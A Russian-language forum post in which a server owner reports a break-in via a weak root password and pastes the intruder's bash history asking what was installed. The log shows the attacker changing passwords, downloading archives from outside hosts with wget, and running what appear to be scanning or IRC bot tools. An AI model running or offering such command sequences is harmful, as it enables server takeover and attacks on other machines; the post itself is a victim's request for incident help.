Добрый день такая проблема, взломали сервер поменяли пароль на root и на всех остальных пользователей, первым делом я офигел что немогу залогинится через SSH, после востановления пароля зашел в систему и увидил что в каталоге root появились директории "comiscan" "gosh" "ire", я быстро в логи там ничего нет, в процесы тоже ничего лишнего не висит, слава богу взломщик забыл почистить .bash_history и вот что я там увидил oO
w
uname -a
w
cd /home
ls -a
passwd zver
cd /opt
cd bomfunk
chmod +x *
./start helplinux
w
ls -a
cat .bash_history
last -10
exit
w
ls -a
cat/proc/cpuinfo
cat /proc/cpuinfo
uname -a
passwd
wget irchack.99k.org/comiscan.tgz
wget http://mirc.go.ro/ire.tgz
tar -xzvf comiscan.tgz
tar -xzvf ire.gz
tar -xzvf ire.tgz
cd .time
./start irefutabil
cd
wget felian.webs.com/scanner/gosh.gz
tar -xzvf gosh.gz
ls
cd gosh
ls
touch bios.txt
./go.sh 213
cd
cd scan
./screen
yum install libutempter.so.0
apt-get install
apt-get install libutempter.so.0
./screen
apt-get install libutempter.so.0
apt install libutempter.so.0
get install libutempter.so.0
atp-get install libutempter.so.0
apt-get install libutempter.so.0
apt-get install libutempter.so
apt-get install libutempter.so.
ls
ps x
cd gosh
./go.sh 202
ls
ls
cd gosh
./go.sh 134
dir
passwd
reboot
Что это они вообще мне наставили и как с этим бороться подскажите пожалуйста. В принципе сам виноват пароль был слишком легкий 123456 
